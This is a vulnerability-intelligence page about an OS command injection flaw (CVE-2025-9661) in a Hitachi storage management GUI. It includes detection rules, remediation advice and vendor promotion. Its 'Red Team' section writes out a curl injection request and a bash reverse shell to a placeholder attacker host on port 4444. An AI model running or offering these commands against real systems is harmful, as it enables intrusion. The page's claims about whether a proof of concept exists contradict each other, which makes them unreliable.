☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Hitachi logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9661

CVE-2025-9661 OS Command Injection in Hitachi
📅 PUBLISHED: 2026-05-07 07:08 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9661 is a critical OS command injection vulnerability in the management GUI (maintenance utility) of Hitachi Virtual Storage Platform One Block models 23, 24, 26, and 28. The flaw allows an authenticated attacker with low privileges to inject arbitrary operating system commands through the maintenance interface, leading to full compromise of the storage appliance. With a CVSS score of 8.1, this vulnerability poses a severe risk to enterprise storage environments, enabling data exfiltration, ransomware deployment, or lateral movement within the network. No public exploit code or proof-of-concept is currently available, but the attack vector is well-understood and should be prioritized for patching.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to open-source package ecosystems (NPM, PyPI, Go, Ruby). It affects proprietary Hitachi storage firmware and management software. Organizations should verify the integrity of firmware updates through Hitachi’s official channels and ensure no tampered binaries are introduced during the patching process.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 8.1 (High)
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: Low (PR:L) – attacker needs a valid low-privilege account.
  • User Interaction: None (UI:N) – no user action needed.
  • Scope: Unchanged (S:U) – impact confined to the vulnerable component.
  • Confidentiality Impact: High (C:H) – full read access to stored data.
  • Integrity Impact: High (I:H) – ability to modify or delete data.
  • Availability Impact: High (A:H) – potential for denial of service.

Threat Level: Critical for enterprise storage environments. The combination of low privileges required and high impact makes this a prime target for ransomware groups and APT actors targeting critical infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the maintenance utility of the Hitachi Virtual Storage Platform One Block management GUI. This utility is designed for low-level system maintenance tasks such as log collection, diagnostics, and firmware updates. The input validation for command parameters is insufficient, allowing an authenticated user to inject arbitrary OS commands.

Attack Flow:

  1. Authentication: The attacker gains access to the management GUI with low-privilege credentials (e.g., via phishing, default credentials, or previous compromise).
  2. Command Injection: The attacker crafts a malicious request to the maintenance utility endpoint, injecting OS commands (e.g., using ;, |, &&, or backticks) into a parameter that is passed unsanitized to the underlying shell.
  3. Execution: The injected commands execute with the privileges of the web server process (typically root or a highly privileged service account).
  4. Post-Exploitation: The attacker can execute arbitrary commands, install backdoors, exfiltrate data, or pivot to other systems on the storage network.

Root Cause: The maintenance utility uses a function like system() or exec() in C/C++ without proper input sanitization or parameterization. The vulnerable code path likely concatenates user input directly into a command string.

Vulnerable vs. Patched Code

Note: Exact source code is proprietary. The following is a representative example based on typical OS command injection patterns.

Vulnerable Code (C/C++):

void run_maintenance_command(char *user_input) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "maintenance_tool --action %s", user_input);
    system(cmd);  // Vulnerable: user_input can contain shell metacharacters
}

Patched Code (C/C++):

void run_maintenance_command(char *user_input) {
    // Whitelist allowed actions
    const char *allowed_actions[] = {"log_collect", "diag_run", "firmware_check"};
    int valid = 0;
    for (int i = 0; i < 3; i++) {
        if (strcmp(user_input, allowed_actions[i]) == 0) {
            valid = 1;
            break;
        }
    }
    if (!valid) {
        log_error("Invalid maintenance action");
        return;
    }
    // Use execve with fixed arguments to avoid shell injection
    char *args[] = {"/usr/bin/maintenance_tool", "--action", user_input, NULL};
    execve(args[0], args, NULL);
}

Key Differences:

  • Input validation via whitelist instead of blacklist.
  • Use of execve() instead of system() to prevent shell interpretation.
  • No shell metacharacters are processed.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Low-privilege credentials for the Hitachi VSP One Block management GUI.
  • Network access to the management interface (typically HTTPS on port 443).

Exploitation Steps:

  1. Authenticate to the management GUI and obtain a session cookie.
  2. Identify the vulnerable maintenance utility endpoint (e.g., /maintenance/run).
  3. Craft a POST request with injected commands. Example using curl:
curl -k -X POST \
  -H "Cookie: session=valid_session_cookie" \
  -d "action=log_collect;id" \
  https://target-ip/maintenance/run
  1. If successful, the response will include the output of the id command.
  2. Escalate to a reverse shell:
# Attacker machine: nc -lvnp 4444
# Injected command:
action=log_collect;bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection & Response:

  • Monitor for unusual HTTP requests to /maintenance/run or similar endpoints containing shell metacharacters (;, |, &, $, `).
  • Enable detailed logging on the management GUI and correlate with authentication logs.
  • Deploy a Web Application Firewall (WAF) with rules to block command injection patterns.
  • Restrict network access to the management interface to trusted IPs only.

Honeypot Strategy:

  • Deploy a decoy Hitachi VSP One Block instance with fake credentials to lure attackers.
  • Monitor for any attempts to access the maintenance utility and trigger alerts.

Indicators of Compromise (IOCs)

Type Indicator Description
Network POST request to /maintenance/run with shell metacharacters Command injection attempt
Network Outbound connection from storage appliance to unknown IP on port 4444 (or other high ports) Reverse shell
File Unexpected files in /tmp/ or /var/tmp/ Backdoor or payload
Process Unusual processes like bash, nc, python spawned by the web server Post-exploitation activity
Log Error logs containing command output (e.g., uid=0(root)) Successful injection

Detection Engineering

YARA Rule

rule CVE_2025_9661_Hitachi_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Hitachi VSP One Block maintenance utility"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-9661"
    strings:
        $cmd1 = "maintenance_tool" ascii wide nocase
        $cmd2 = "log_collect" ascii wide nocase
        $cmd3 = "diag_run" ascii wide nocase
        $shell1 = /[;&|`$]/ ascii wide
        $shell2 = "bash" ascii wide nocase
        $shell3 = "nc" ascii wide nocase
    condition:
        ($cmd1 or $cmd2 or $cmd3) and ($shell1 or $shell2 or $shell3)
}

Sigma Rule

title: CVE-2025-9661 Hitachi VSP One Block Command Injection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects command injection attempts against Hitachi Virtual Storage Platform One Block management GUI
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/maintenance/run'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-9661 Hitachi VSP One Block Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/maintenance/run"; http_uri;
    pcre:"/(?:;|\||&|`|\$\()/";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-9661;
)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade to DKCMAIN A3-04-21-40/00 or later, and ESM A3-04-21/00 or later as soon as possible.
  2. Workaround: If patching is not immediately possible, restrict network access to the management GUI to trusted administrative IPs only using firewall rules.
  3. Disable Maintenance Utility: Temporarily disable the maintenance utility if it is not required for operations.

Long-Term Measures:

  • Implement strict input validation and output encoding for all management interfaces.
  • Conduct a security audit of all Hitachi storage appliances in the environment.
  • Enable comprehensive logging and monitoring for the management GUI.
  • Apply the principle of least privilege to all user accounts.

Compromise Assessment:

  • Review logs for any suspicious activity prior to patching.
  • Scan for backdoors or unauthorized accounts.
  • Rotate all credentials used to access the storage appliance.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Hitachi Virtual Storage Platform
VSP One Block
port:443 http.title:"Hitachi"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9661/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.